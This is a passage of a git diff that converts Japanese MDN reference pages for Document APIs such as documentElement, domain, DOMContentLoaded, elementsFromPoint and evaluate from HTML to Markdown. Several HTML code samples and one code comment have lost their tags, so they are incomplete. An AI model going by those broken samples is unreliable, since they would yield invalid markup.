+{{Compat("api.Document.doctype")}} diff --git a/files/ja/web/api/document/document/index.md b/files/ja/web/api/document/document/index.md index 9af2b27e16d6ca..8744ed6da66418 100644 --- a/files/ja/web/api/document/document/index.md +++ b/files/ja/web/api/document/document/index.md @@ -9,34 +9,22 @@ tags: - コンストラクター translation_of: Web/API/Document/Document --- -
{{APIRef}}
+{{APIRef}} -

Document コンストラクターは、ブラウザーに読み込まれたウェブページである {{domxref("Document")}} オブジェクトを新たに生成し、そのページの内容へのエントリーポイントを提供します。

+**`Document`** コンストラクターは、ブラウザーに読み込まれたウェブページである {{domxref("Document")}} オブジェクトを新たに生成し、そのページの内容へのエントリーポイントを提供します。 -

構文

+## 構文 -
new Document();
-
+``` +new Document(); +``` -

仕様書

+## 仕様書 - - - - - - - - - - - - - - - -
仕様書状態備考
{{SpecName('DOM WHATWG','#dom-document-document','Document')}}{{Spec2('DOM WHATWG')}}初回定義
+| 仕様書 | 状態 | 備考 | +| ------------------------------------------------------------------------------------ | -------------------------------- | -------- | +| {{SpecName('DOM WHATWG','#dom-document-document','Document')}} | {{Spec2('DOM WHATWG')}} | 初回定義 | -

ブラウザーの互換性

+## ブラウザーの互換性 -
{{Compat("api.Document.Document")}}
+{{Compat("api.Document.Document")}} diff --git a/files/ja/web/api/document/documentelement/index.md b/files/ja/web/api/document/documentelement/index.md index 0bafaeff0b7439..81eb6a5dfe607b 100644 --- a/files/ja/web/api/document/documentelement/index.md +++ b/files/ja/web/api/document/documentelement/index.md @@ -12,49 +12,39 @@ tags: - プロパティ translation_of: Web/API/Document/documentElement --- -
{{ApiRef("DOM")}}
+{{ApiRef("DOM")}} -

Document.documentElement は、その {{domxref("document")}} のルート要素 (例えば、 HTML 文書の場合は {{HTMLElement("html")}} 要素) である {{domxref("Element")}} を返します。

+**`Document.documentElement`** は、その {{domxref("document")}} のルート要素 (例えば、 HTML 文書の場合は {{HTMLElement("html")}} 要素) である {{domxref("Element")}} を返します。 -

構文

+## 構文 -
const element = document.documentElement
-
+``` +const element = document.documentElement +``` -

+## 例 -
const rootElement = document.documentElement;
+```js
+const rootElement = document.documentElement;
 const firstTier = rootElement.childNodes;
-// firstTier は <head> や <body> などの
+// firstTier は  や  などの
 // ルート要素の直接の子である NodeList
 
 for (const child of firstTier) {
   // ルート要素のそれぞれの直接の子に対する処理
-}
- -

メモ

- -

空ではない HTML 文章の場合、 documentElement は常に {{HTMLElement("html")}} 要素を返します。空ではない XML 文章の場合、 documentElement は常に文章のルート要素である何らかの要素を返します。

- -

仕様書

- - - - - - - - - - - - - - - - -
仕様書状態備考
{{SpecName('DOM WHATWG','#dom-document-documentelement','Document.documentElement')}}{{Spec2('DOM WHATWG')}}
- -

ブラウザーの互換性

- -

{{Compat("api.Document.documentElement")}}

+} +``` + +## メモ + +空ではない HTML 文章の場合、 `documentElement` は常に {{HTMLElement("html")}} 要素を返します。空ではない XML 文章の場合、 `documentElement` は常に文章のルート要素である何らかの要素を返します。 + +## 仕様書 + +| 仕様書 | 状態 | 備考 | +| ---------------------------------------------------------------------------------------------------------------- | -------------------------------- | ---- | +| {{SpecName('DOM WHATWG','#dom-document-documentelement','Document.documentElement')}} | {{Spec2('DOM WHATWG')}} | | + +## ブラウザーの互換性 + +{{Compat("api.Document.documentElement")}} diff --git a/files/ja/web/api/document/documenturi/index.md b/files/ja/web/api/document/documenturi/index.md index 7451aefcfc5e44..46d2ca6922ca2f 100644 --- a/files/ja/web/api/document/documenturi/index.md +++ b/files/ja/web/api/document/documenturi/index.md @@ -2,68 +2,55 @@ title: Document.documentURI slug: Web/API/Document/documentURI tags: -- API -- DOM -- Document -- Property -- Read-only -- Reference - - Web - - プロパティ + - API + - DOM + - Document + - Property + - Read-only + - Reference - Web - プロパティ translation_of: Web/API/Document/documentURI --- -
{{ApiRef("DOM")}}
+{{ApiRef("DOM")}} -

{{domxref("Document")}} インターフェイスの documentURI プロパティは、文書の位置を文字列で返します。

+{{domxref("Document")}} インターフェイスの **`documentURI`** プロパティは、文書の位置を文字列で返します。 -

構文

+## 構文 -
const uri = document.documentURI
-
+```js +const uri = document.documentURI +``` -

+## 例 -

JavaScript

+### JavaScript -
document.getElementById("url").textContent = document.documentURI;
+```js +document.getElementById("url").textContent = document.documentURI; +``` -

HTML

+### HTML -
<p id="urlText">
-  URL:<br/>
-  <span id="url">URL goes here</span>
-</p>
+```html +

+ URL:
+ URL goes here +

+``` -

結果

+### 結果 -

{{EmbedLiveSample("Example", "100%", 100)}}

+{{EmbedLiveSample("Example", "100%", 100)}} -

仕様書

+## 仕様書 - - - - - - - - - - - - - - - -
仕様書状態備考
{{SpecName('DOM WHATWG', '#dom-document-documenturi','documentURI')}}{{Spec2('DOM WHATWG')}}
+| 仕様書 | 状態 | 備考 | +| -------------------------------------------------------------------------------------------- | -------------------------------- | ---- | +| {{SpecName('DOM WHATWG', '#dom-document-documenturi','documentURI')}} | {{Spec2('DOM WHATWG')}} | | -

ブラウザーの互換性

+## ブラウザーの互換性 -

{{Compat("api.Document.documentURI")}}

+{{Compat("api.Document.documentURI")}} -

関連情報

+## 関連情報 -
    -
  • 同じ値を返す {{domxref("document.URL")}} プロパティ
  • -
+- 同じ値を返す {{domxref("document.URL")}} プロパティ diff --git a/files/ja/web/api/document/documenturiobject/index.md b/files/ja/web/api/document/documenturiobject/index.md index d28d29a2bc2466..a23701262cb2ce 100644 --- a/files/ja/web/api/document/documenturiobject/index.md +++ b/files/ja/web/api/document/documenturiobject/index.md @@ -10,22 +10,24 @@ tags: - 標準外 translation_of: Web/API/Document/documentURIObject --- -
{{ApiRef("DOM")}}{{Non-standard_header}}
+{{ApiRef("DOM")}}{{Non-standard_header}} -

Document.documentURIObject プロパティは読み取り専用で、 document の URI を表す nsIURI オブジェクトを返します。

+**`Document.documentURIObject`** プロパティは読み取り専用で、 [document](/ja/docs/Web/API/document) の URI を表す `nsIURI` オブジェクトを返します。 -

このプロパティは、拡張機能のコードなどの (UniversalXPConnect) 特権を持つスクリプトでのみ機能します。ウェブコンテンツではこのプロパティは特別な意味を持たず、他のカスタムプロパティと同様に扱うことしかできません。

+このプロパティは、拡張機能のコードなどの (UniversalXPConnect) 特権を持つスクリプトでのみ機能します。ウェブコンテンツではこのプロパティは特別な意味を持たず、他のカスタムプロパティと同様に扱うことしかできません。 -

特権コードでは、(XPCNativeWrapperwrappedJSObject などの) ラップされていないコンテンツオブジェクトに対してこのプロパティを取得または設定しないように注意しなければなりません。詳しくは {{Bug(324464)}} のコメントを参照して下さい。

+特権コードでは、([`XPCNativeWrapper`](/ja/XPCNativeWrapper) の `wrappedJSObject` などの) ラップされていないコンテンツオブジェクトに対してこのプロパティを取得または設定しないように注意しなければなりません。詳しくは {{Bug(324464)}} のコメントを参照して下さい。 -

構文

+## 構文 -
var uri = document.documentURIObject;
-
+``` +var uri = document.documentURIObject; +``` -

+## 例 -
// Firefox の現在のタブの URI スキームが "http" かどうか調べる
+```js
+// Firefox の現在のタブの URI スキームが "http" かどうか調べる
 // このコードは browser.xul のコンテキストで実行されるものとする
 var uriObj = content.document.documentURIObject;
 var uriPort = uriObj.port;
@@ -33,12 +35,12 @@ var uriPort = uriObj.port;
 if (uriObj.schemeIs('http')) {
   ...
 }
-
+``` -

仕様書

+## 仕様書 -

どの仕様にも属しません。

+どの仕様にも属しません。 -

ブラウザーの対応

+## ブラウザーの対応 -

{{Compat("api.Document.documentURIObject")}}

+{{Compat("api.Document.documentURIObject")}} diff --git a/files/ja/web/api/document/domain/index.md b/files/ja/web/api/document/domain/index.md index 5a8651f5bfa837..263df59dd114af 100644 --- a/files/ja/web/api/document/domain/index.md +++ b/files/ja/web/api/document/domain/index.md @@ -9,81 +9,68 @@ tags: - Reference translation_of: Web/API/Document/domain --- -
{{ApiRef}}
+{{ApiRef}} -

{{domxref("Document")}} インターフェイスの domain プロパティは、同一オリジンポリシーで使用される現在の文書の{{glossary("origin", "オリジン")}}のうち、ドメインの部分を取得または設定します。

+{{domxref("Document")}} インターフェイスの **`domain`** プロパティは、[同一オリジンポリシー](/ja/docs/Web/Security/Same-origin_policy)で使用される現在の文書の{{glossary("origin", "オリジン")}}のうち、ドメインの部分を取得または設定します。 -

このプロパティが正常に設定されると、オリジンのポート番号の部分も {{jsxref("null")}} に設定されます。

+このプロパティが正常に設定されると、オリジンのポート番号の部分も {{jsxref("null")}} に設定されます。 -

構文

+## 構文 -
const domainString = document.domain
-document.domain = domainString
+``` +const domainString = document.domain +document.domain = domainString +``` -

+### 値 -

現在の文書のオリジンのうち、ドメインの部分です。

+現在の文書のオリジンのうち、ドメインの部分です。 -

例外

+### 例外 -
-
SecurityError
-
以下の状況のうちの一つで、 domain を設定することが試みられた。 -
    -
  • 文書がサンドボックス化された {{htmlelement("iframe")}} の中にある場合
  • -
  • 文書に{{glossary("browsing context", "閲覧コンテキスト")}}がない場合
  • -
  • 文書の影響ドメインnull の場合
  • -
  • 指定された値が文書の影響ドメインと一致しない (または登録可能なドメインの接頭辞ではない) 場合
  • -
  • {{HTTPHeader("Feature-Policy")}} の {{httpheader('Feature-Policy/document-domain','document-domain')}} が有効の場合
  • -
-
-
+- `SecurityError` -

+ - : 以下の状況のうちの一つで、 `domain` を設定することが試みられた。 -

ドメイン名の取得

+ - 文書がサンドボックス化された {{htmlelement("iframe")}} の中にある場合 + - 文書に{{glossary("browsing context", "閲覧コンテキスト")}}がない場合 + - 文書の[影響ドメイン](https://html.spec.whatwg.org/multipage/origin.html#concept-origin-effective-domain)が `null` の場合 + - 指定された値が文書の影響ドメインと一致しない (または登録可能なドメインの接頭辞ではない) 場合 + - {{HTTPHeader("Feature-Policy")}} の {{httpheader('Feature-Policy/document-domain','document-domain')}} が有効の場合 -

http://developer.mozilla.org/en-US/docs/Web の URI において、この例は currentDomain に "developer.mozilla.org" の文字列を設定します。

+## 例 -
const currentDomain = document.domain;
+### ドメイン名の取得 -

ウィンドウを閉じる

+`http://developer.mozilla.org/en-US/docs/Web` の URI において、この例は `currentDomain` に "`developer.mozilla.org`" の文字列を設定します。 -

文書が www.example.xxx/good.html のような "www.example.xxx" のドメインを持つ場合、この例はウィンドウを閉じようとします。

+```js +const currentDomain = document.domain; +``` -
const badDomain = "www.example.xxx";
+### ウィンドウを閉じる
+
+文書が `www.example.xxx/good.html` のような "`www.example.xxx`" のドメインを持つ場合、この例はウィンドウを閉じようとします。
+
+```js
+const badDomain = "www.example.xxx";
 
 if (document.domain === badDomain) {
   // 単なる例: window.close() は効果がないことがある
   window.close();
 }
-
- -

仕様書

- - - - - - - - - - - - - - - - -
仕様書状態備考
{{SpecName('HTML WHATWG','origin.html#relaxing-the-same-origin-restriction','Document.domain')}}{{Spec2('HTML WHATWG')}}
- -

ブラウザーの互換性

- -
{{Compat("api.Document.domain")}}
- -

関連情報

- - +``` + +## 仕様書 + +| 仕様書 | 状態 | 備考 | +| -------------------------------------------------------------------------------------------------------------------------------- | -------------------------------- | ---- | +| {{SpecName('HTML WHATWG','origin.html#relaxing-the-same-origin-restriction','Document.domain')}} | {{Spec2('HTML WHATWG')}} | | + +## ブラウザーの互換性 + +{{Compat("api.Document.domain")}} + +## 関連情報 + +- [同一オリジンポリシー](/ja/docs/Web/Security/Same-origin_policy) diff --git a/files/ja/web/api/document/domcontentloaded_event/index.md b/files/ja/web/api/document/domcontentloaded_event/index.md index c89a7ebfcb0fa9..5376e85b596882 100644 --- a/files/ja/web/api/document/domcontentloaded_event/index.md +++ b/files/ja/web/api/document/domcontentloaded_event/index.md @@ -9,62 +9,67 @@ tags: - Web translation_of: Web/API/Document/DOMContentLoaded_event --- -
{{APIRef}}
+{{APIRef}} -

DOMContentLoaded イベントは、 HTML の初期文書が完全に読み込まれ解釈された時点で発生し、スタイルシート、画像、サブフレームの読み込みが完了するのを待ちません。

+**`DOMContentLoaded`** イベントは、 HTML の初期文書が完全に読み込まれ解釈された時点で発生し、スタイルシート、画像、サブフレームの読み込みが完了するのを待ちません。 - - - - - - - - - - - - - - - - - - + + + + + + + + + + + + + + + + + +
バブリングあり
キャンセル可 (ただし、キャンセル可能ではない単純イベントとして定義されている)
インターフェイス{{domxref("Event")}}
イベントハンドラープロパティなし
バブリングあり
キャンセル + 可 (ただし、キャンセル可能ではない単純イベントとして定義されている) +
インターフェイス{{domxref("Event")}}
イベントハンドラープロパティなし
-

別なイベントである {{domxref("Window/load_event", "load")}} は、ページ全体が読み込まれたときにのみ使用します。 loadDOMContentLoaded がより適切である場面で使ってしまうことがよくある誤りです。

+別なイベントである {{domxref("Window/load_event", "load")}} は、ページ全体が読み込まれたときにのみ使用します。 `load` を `DOMContentLoaded` がより適切である場面で使ってしまうことがよくある誤りです。 -

同期 JavaScript は DOM の解析をいったん中断します。ユーザーがページをリクエストした後でできるだけ早く DOM が解析されるようにしたい場合は、 JavaScript を非同期にして、スタイルシートの読み込みを最適化してください。ふつう通りに読み込むと、スタイルシートは HTML と並行で読み込まれ、中心となる HTML 文書の帯域を「盗む」ため、ふつう通りに読み込むと DOM 解析の速度を低下させます。

+同期 JavaScript は DOM の解析をいったん中断します。ユーザーがページをリクエストした後でできるだけ早く DOM が解析されるようにしたい場合は、 [JavaScript を非同期に](/ja/docs/Web/API/XMLHttpRequest/Synchronous_and_Asynchronous_Requests)して、[スタイルシートの読み込みを最適化](https://developers.google.com/speed/docs/insights/OptimizeCSSDelivery)してください。ふつう通りに読み込むと、スタイルシートは HTML と並行で読み込まれ、中心となる HTML 文書の帯域を「盗む」ため、ふつう通りに読み込むと DOM 解析の速度を低下させます。 -

+## 例 -

基本的な使用

+### 基本的な使用 -
document.addEventListener('DOMContentLoaded', (event) => {
+```js
+document.addEventListener('DOMContentLoaded', (event) => {
     console.log('DOM fully loaded and parsed');
 });
-
+``` -

DOMContentLoaded の遅延

+### DOMContentLoaded の遅延 -
<script>
-  document.addEventListener('DOMContentLoaded', (event) => {
+```html
+
+```
 
-

読み込みが完了しているかどうかのチェック

+### 読み込みが完了しているかどうかのチェック -

DOMContentLoaded はスクリプト実行の機会がある前に発生することがあるため、リスナーを追加する前にチェックするのが賢明です。

+`DOMContentLoaded` はスクリプト実行の機会がある前に発生することがあるため、リスナーを追加する前にチェックするのが賢明です。 -
function doSomething() {
+```js
+function doSomething() {
   console.info('DOM loaded');
 }
 
@@ -73,25 +78,25 @@ if (document.readyState === 'loading') {  // Loading hasn't finished yet
 } else {  // `DOMContentLoaded` has already fired
   doSomething();
 }
-
+``` -

ライブデモ

+### ライブデモ -

HTML

+#### HTML -
<div class="controls">
-  <button id="reload" type="button">Reload</button>
-</div>
-
-<div class="event-log">
-  <label>Event log:</label>
-  <textarea readonly class="event-log-contents" rows="8" cols="30"></textarea>
-</div>
+```html +
+ +
- - -

JS

+#### JS -
const log = document.querySelector('.event-log-contents');
+```js
+const log = document.querySelector('.event-log-contents');
 const reload = document.querySelector('#reload');
 
-reload.addEventListener('click', () => {
+reload.addEventListener('click', () => {
   log.textContent ='';
-  window.setTimeout(() => {
+  window.setTimeout(() => {
       window.location.reload(true);
   }, 200);
 });
 
-window.addEventListener('load', (event) => {
+window.addEventListener('load', (event) => {
     log.textContent = log.textContent + 'load\n';
 });
 
-document.addEventListener('readystatechange', (event) => {
+document.addEventListener('readystatechange', (event) => {
     log.textContent = log.textContent + `readystate: ${document.readyState}\n`;
 });
 
-document.addEventListener('DOMContentLoaded', (event) => {
+document.addEventListener('DOMContentLoaded', (event) => {
     log.textContent = log.textContent + `DOMContentLoaded\n`;
 });
+```
 
-
- -

結果

- -

{{ EmbedLiveSample('Live_example', '100%', '160px') }}

- -

仕様書

- - - - - - - - - - - - - - - - - - - - - -
仕様書状態備考
{{SpecName('HTML WHATWG', '#stop-parsing', 'DOMContentLoaded')}}{{Spec2('HTML WHATWG')}}
{{SpecName('HTML5 W3C', 'syntax.html#the-end', 'DOMContentLoaded')}}{{Spec2('HTML5 W3C')}}
+#### 結果 + +{{ EmbedLiveSample('Live_example', '100%', '160px') }} + +## 仕様書 + +| 仕様書 | 状態 | 備考 | +| -------------------------------------------------------------------------------------------- | -------------------------------- | ---- | +| {{SpecName('HTML WHATWG', '#stop-parsing', 'DOMContentLoaded')}} | {{Spec2('HTML WHATWG')}} | | +| {{SpecName('HTML5 W3C', 'syntax.html#the-end', 'DOMContentLoaded')}} | {{Spec2('HTML5 W3C')}} | | -

ブラウザーの互換性

+## ブラウザーの互換性 -

{{Compat("api.Document.DOMContentLoaded_event")}}

+{{Compat("api.Document.DOMContentLoaded_event")}} -

関連情報

+## 関連情報 -
    -
  • 関連イベント: {{domxref("Window/load_event", "load")}}, {{domxref("Document/readystatechange_event", "readystatechange")}}, {{domxref("Window/beforeunload_event", "beforeunload")}}, {{domxref("Window/unload_event", "unload")}}
  • -
  • {{domxref("Window")}} を対象とした同じイベント: {{domxref("Window/DOMContentLoaded_event", "DOMContentLoaded")}}
  • -
+- 関連イベント: {{domxref("Window/load_event", "load")}}, {{domxref("Document/readystatechange_event", "readystatechange")}}, {{domxref("Window/beforeunload_event", "beforeunload")}}, {{domxref("Window/unload_event", "unload")}} +- {{domxref("Window")}} を対象とした同じイベント: {{domxref("Window/DOMContentLoaded_event", "DOMContentLoaded")}} diff --git a/files/ja/web/api/document/elementsfrompoint/index.md b/files/ja/web/api/document/elementsfrompoint/index.md index 98a08a450f3d72..89d2bd5deb17b0 100644 --- a/files/ja/web/api/document/elementsfrompoint/index.md +++ b/files/ja/web/api/document/elementsfrompoint/index.md @@ -15,87 +15,74 @@ tags: translation_of: Web/API/DocumentOrShadowRoot/elementsFromPoint original_slug: Web/API/DocumentOrShadowRoot/elementsFromPoint --- -
{{APIRef("DOM")}}{{SeeCompatTable}}
+{{APIRef("DOM")}}{{SeeCompatTable}} -

elementsFromPoint() は {{domxref("DocumentOrShadowRoot")}} インターフェイスのメソッドで、指定された座標 (ビューポートからの相対) にあるすべての要素の配列を返します。

+**`elementsFromPoint()`** は {{domxref("DocumentOrShadowRoot")}} インターフェイスのメソッドで、指定された座標 (ビューポートからの相対) にあるすべての要素の配列を返します。 -

これは {{domxref("DocumentOrShadowRoot.elementFromPoint", "elementFromPoint()")}} メソッドと同じような方法で動作します。

+これは {{domxref("DocumentOrShadowRoot.elementFromPoint", "elementFromPoint()")}} メソッドと同じような方法で動作します。 -

構文

+## 構文 -
const elements = document.elementsFromPoint(x, y);
+``` +const elements = document.elementsFromPoint(x, y); +``` -

引数

+### 引数 -
-
x
-
点の水平座標です。
-
y
-
点の垂直座標です。
-
+- `x` + - : 点の水平座標です。 +- `y` + - : 点の垂直座標です。 -

返値

+### 返値 -

{{domxref("Element")}} オブジェクトの配列です。

+{{domxref("Element")}} オブジェクトの配列です。 -

+## 例 -

HTML

+### HTML -
<div>
-  <p>Some text</p>
-</div>
-<p>Elements at point 30, 20:</p>
-<div id="output"></div>
-
+```html +
+

Some text

+
+

Elements at point 30, 20:

+
+``` -

JavaScript

+### JavaScript -
let output = document.getElementById("output");
+```js
+let output = document.getElementById("output");
 if (document.elementsFromPoint) {
   let elements = document.elementsFromPoint(30, 20);
-  for (var i = 0; i < elements.length; i++) {
+  for (var i = 0; i < elements.length; i++) {
     output.textContent += elements[i].localName;
-    if (i < elements.length - 1) {
-      output.textContent += " < ";
+    if (i < elements.length - 1) {
+      output.textContent += " < ";
     }
   }
 } else {
-  output.innerHTML = "<span style=\"color: red;\">" +
-     "Browser does not support <code>document.elementsFromPoint()</code>" +
-     "</span>";
-}
- -

{{EmbedLiveSample('Example', '420', '120')}}

- -

仕様書

- - - - - - - - - - - - - - - - - - -
仕様書状態
{{SpecName('Shadow DOM','#dom-documentorshadowroot-elementsfrompoint','elementsFromPoint()')}}{{Spec2('Shadow DOM')}}
{{SpecName('CSSOM View', '#dom-document-elementsfrompoint', 'elementsFromPoint()')}}{{Spec2('CSSOM View')}}
- -

ブラウザーの互換性

- -

{{Compat("api.DocumentOrShadowRoot.elementsFromPoint")}}

- -

関連情報

- -
    -
  • {{DOMxRef("DocumentOrShadowRoot.elementFromPoint()")}}
  • -
  • {{DOMxRef("DocumentOrShadowRoot.msElementsFromRect()")}} {{Non-standard_Inline}}
  • -
+ output.innerHTML = "" + + "Browser does not support document.elementsFromPoint()" + + ""; +} +``` + +{{EmbedLiveSample('Example', '420', '120')}} + +## 仕様書 + +| 仕様書 | 状態 | +| ---------------------------------------------------------------------------------------------------------------------------- | -------------------------------- | +| {{SpecName('Shadow DOM','#dom-documentorshadowroot-elementsfrompoint','elementsFromPoint()')}} | {{Spec2('Shadow DOM')}} | +| {{SpecName('CSSOM View', '#dom-document-elementsfrompoint', 'elementsFromPoint()')}} | {{Spec2('CSSOM View')}} | + +## ブラウザーの互換性 + +{{Compat("api.DocumentOrShadowRoot.elementsFromPoint")}} + +## 関連情報 + +- {{DOMxRef("DocumentOrShadowRoot.elementFromPoint()")}} +- {{DOMxRef("DocumentOrShadowRoot.msElementsFromRect()")}} {{Non-standard_Inline}} diff --git a/files/ja/web/api/document/embeds/index.md b/files/ja/web/api/document/embeds/index.md index 5da1ce13fd5c9d..54c1281d3ff0db 100644 --- a/files/ja/web/api/document/embeds/index.md +++ b/files/ja/web/api/document/embeds/index.md @@ -11,38 +11,26 @@ tags: - プロパティ translation_of: Web/API/Document/embeds --- -
{{ApiRef}}
+{{ApiRef}} -

{{domxref("Document")}} インターフェイスの embeds プロパティは読み取り専用で、現在の文書の埋め込み {{htmlelement("object")}} 要素のリストを返します。

+{{domxref("Document")}} インターフェイスの **`embeds`** プロパティは読み取り専用で、現在の文書の埋め込み {{htmlelement("object")}} 要素のリストを返します。 -

構文

+## 構文 -
nodeList = document.embeds
-
+``` +nodeList = document.embeds +``` -

+### 値 -

{{domxref("HTMLCollection")}} です。

+{{domxref("HTMLCollection")}} です。 -

仕様書

+## 仕様書 - - - - - - - - - - - - - - - -
仕様書状態備考
{{SpecName('HTML WHATWG', '#dom-document-embeds', 'Document.embeds')}}{{ Spec2('HTML WHATWG') }}
+| 仕様書 | 状態 | 備考 | +| -------------------------------------------------------------------------------------------- | ------------------------------------ | ---- | +| {{SpecName('HTML WHATWG', '#dom-document-embeds', 'Document.embeds')}} | {{ Spec2('HTML WHATWG') }} | | -

ブラウザーの対応

+## ブラウザーの対応 -
{{Compat("api.Document.embeds")}}
+{{Compat("api.Document.embeds")}} diff --git a/files/ja/web/api/document/evaluate/index.md b/files/ja/web/api/document/evaluate/index.md index a3ec8c762523b0..39510119abfb07 100644 --- a/files/ja/web/api/document/evaluate/index.md +++ b/files/ja/web/api/document/evaluate/index.md @@ -3,33 +3,30 @@ title: Document.evaluate() slug: Web/API/Document/evaluate translation_of: Web/API/Document/evaluate --- -
{{ ApiRef("DOM") }}
+{{ ApiRef("DOM") }}[XPath](/ja/docs/XPath "XPath") 式やその他与えられたパラメータに基づいて [`XPathResult`](/ja/docs/XPathResult "XPathResult") を返します。 -
XPath 式やその他与えられたパラメータに基づいて XPathResult を返します。
+## 構文 -
- -

構文

- -
var xpathResult = document.evaluate(
+```
+var xpathResult = document.evaluate(
  xpathExpression,
  contextNode,
  namespaceResolver,
  resultType,
  result
-);
+); +``` -
    -
  • xpathExpression は評価される Xpath を示す文字列です。
  • -
  • contextNode はクエリのコンテキストノードを指定します(XPath の仕様を参照してください) コンテキストノードとして document を渡すのが一般的です。
  • -
  • namespaceResolver は、任意の名前空間接頭辞を受け取り、その接頭辞に関連付けられた名前空間 URI を文字列として返す関数です。接頭辞が文書の中でマッチされるように、XPath 自身の中で接頭辞を解決するために使われます。HTML 文書向け、または名前空間接頭辞を使わないときは null を指定するのが一般的です。
  • -
  • resultType は返り値である XPathResult のタイプに対応する整数です。XPathResult コンストラクタの名前付き定数プロパティ (例えば XPathResult.ANY_TYPE) を使用してください。これらは0から9までの整数に対応しています。
  • -
  • result は結果として使われる既存の XPathResult です。null を指定するのが最も一般的です。null は新しい XPathResult を生成します。
  • -
+- `xpathExpression` は評価される Xpath を示す文字列です。 +- `contextNode` はクエリの*コンテキストノード*を指定します([XPath の仕様](http://www.w3.org/TR/xpath)を参照してください) コンテキストノードとして `document` を渡すのが一般的です。 +- `namespaceResolver` は、任意の名前空間接頭辞を受け取り、その接頭辞に関連付けられた名前空間 URI を文字列として返す関数です。接頭辞が文書の中でマッチされるように、XPath 自身の中で接頭辞を解決するために使われます。HTML 文書向け、または名前空間接頭辞を使わないときは `null` を指定するのが一般的です。 +- `resultType` は返り値である `XPathResult` のタイプに対応する整数です。XPathResult コンストラクタの[名前付き定数プロパティ](#Result_types) (例えば `XPathResult.ANY_TYPE`) を使用してください。これらは 0 から 9 までの整数に対応しています。 +- `result` は結果として使われる既存の `XPathResult` です。`null` を指定するのが最も一般的です。`null` は新しい `XPathResult を生成します。` -

+## 例 -
var headings = document.evaluate("/html/body//h2", document, null, XPathResult.ANY_TYPE, null);
+```js
+var headings = document.evaluate("/html/body//h2", document, null, XPathResult.ANY_TYPE, null);
 /* Search the document for all h2 elements.
  * The result will likely be an unordered node iterator. */
 var thisHeading = headings.iterateNext();
@@ -39,123 +36,60 @@ while (thisHeading) {
   thisHeading = headings.iterateNext();
 }
 alert(alertText); // Alerts the text of all h2 elements
-
- -

Note, in the above example, a more verbose XPath is preferred over common shortcuts such as //h2. Generally, more specific XPath selectors as in the above example usually gives a significant performance improvement, especially on very large documents. This is because the evaluation of the query spends does not waste time visiting unnecessary nodes. Using // is generally slow as it visits every node from the root and all subnodes looking for possible matches.

- -

Further optimization can be achieved by careful use of the context parameter. For example, if you know the content you are looking for is somewhere inside the body tag, you can use this:

- -
document.evaluate(".//h2", document.body, null, XPathResult.ANY_TYPE, null);
-
- -

Notice in the above document.body has been used as the context instead of document so the XPath starts from the body element. (In this example, the "." is important to indicate that the querying should start from the context node, document.body. If the "." was left out (leaving //h2) the query would start from the root node (html) which would be more wasteful.)

- -

See Introduction to using XPath in JavaScript for more information.

- -

注釈

- -
    -
  • XPath expressions can be evaluated on HTML and XML documents.
  • -
  • While using document.evaluate() works in FF2, in FF3 one must use someXMLDoc.evaluate() if evaluating against something other than the current document.
  • -
- -

戻り値の分類

- -

(Merge with Template:XPathResultConstants?

- -

These are supported values for the resultType parameter of the evaluate method:

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Result TypeValueDescription
ANY_TYPE0Whatever type naturally results from the given expression.
NUMBER_TYPE1A result set containing a single number. Useful, for example, in an XPath expression using the count() function.
STRING_TYPE2A result set containing a single string.
BOOLEAN_TYPE3A result set containing a single boolean value. Useful, for example, an an XPath expression using the not() function.
UNORDERED_NODE_ITERATOR_TYPE4A result set containing all the nodes matching the expression. The nodes in the result set are not necessarily in the same order they appear in the document.
ORDERED_NODE_ITERATOR_TYPE5A result set containing all the nodes matching the expression. The nodes in the result set are in the same order they appear in the document.
UNORDERED_NODE_SNAPSHOT_TYPE6A result set containing snapshots of all the nodes matching the expression. The nodes in the result set are not necessarily in the same order they appear in the document.
ORDERED_NODE_SNAPSHOT_TYPE7A result set containing snapshots of all the nodes matching the expression. The nodes in the result set are in the same order they appear in the document.
ANY_UNORDERED_NODE_TYPE8A result set containing any single node that matches the expression. The node is not necessarily the first node in the document that matches the expression.
FIRST_ORDERED_NODE_TYPE9A result set containing the first node in the document that matches the expression.
- -

Results of NODE_ITERATOR types contain references to nodes in the document. Modifying a node will invalidate the iterator. After modifying a node, attempting to iterate through the results will result in an error.

- -

Results of NODE_SNAPSHOT types are snapshots, which are essentially lists of matched nodes. You can make changes to the document by altering snapshot nodes. Modifying the document doesn't invalidate the snapshot; however, if the document is changed, the snapshot may not correspond to the current state of the document, since nodes may have moved, been changed, added, or removed.

- -

仕様

- - - - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName("DOM3 XPath", "xpath.html#XPathEvaluator-evaluate", "Document.evaluate")}}{{Spec2("DOM3 XPath")}}Initial specification
- -

ブラウザ互換性

- -

{{Compat("api.Document.evaluate")}}

- -

関連項目

- - +``` + +Note, in the above example, a more verbose XPath is preferred over common shortcuts such as `//h2`. Generally, more specific XPath selectors as in the above example usually gives a significant performance improvement, especially on very large documents. This is because the evaluation of the query spends does not waste time visiting unnecessary nodes. Using // is generally slow as it visits _every_ node from the root and all subnodes looking for possible matches. + +Further optimization can be achieved by careful use of the context parameter. For example, if you know the content you are looking for is somewhere inside the body tag, you can use this: + +```js +document.evaluate(".//h2", document.body, null, XPathResult.ANY_TYPE, null); +``` + +Notice in the above `document.body` has been used as the context instead of `document` so the XPath starts from the body element. (In this example, the `"."` is important to indicate that the querying should start from the context node, document.body. If the "." was left out (leaving `//h2`) the query would start from the root node (`html`) which would be more wasteful.) + +See [Introduction to using XPath in JavaScript](/ja/docs/Introduction_to_using_XPath_in_JavaScript "Introduction to using XPath in JavaScript") for more information. + +## 注釈 + +- XPath expressions can be evaluated on HTML and XML documents. +- While using document.evaluate() works in FF2, in FF3 one must use someXMLDoc.evaluate() if evaluating against something other than the current document. + +## 戻り値の分類 + +(Merge with [Template:XPathResultConstants](/Template:XPathResultConstants "Template:XPathResultConstants")? + +These are supported values for the `resultType` parameter of the `evaluate` method: + +| Result Type | Value | Description | +| ------------------------------ | ----- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | +| `ANY_TYPE` | 0 | Whatever type naturally results from the given expression. | +| `NUMBER_TYPE` | 1 | A result set containing a single number. Useful, for example, in an XPath expression using the `count()` function. | +| `STRING_TYPE` | 2 | A result set containing a single string. | +| `BOOLEAN_TYPE` | 3 | A result set containing a single boolean value. Useful, for example, an an XPath expression using the `not()` function. | +| `UNORDERED_NODE_ITERATOR_TYPE` | 4 | A result set containing all the nodes matching the expression. The nodes in the result set are not necessarily in the same order they appear in the document. | 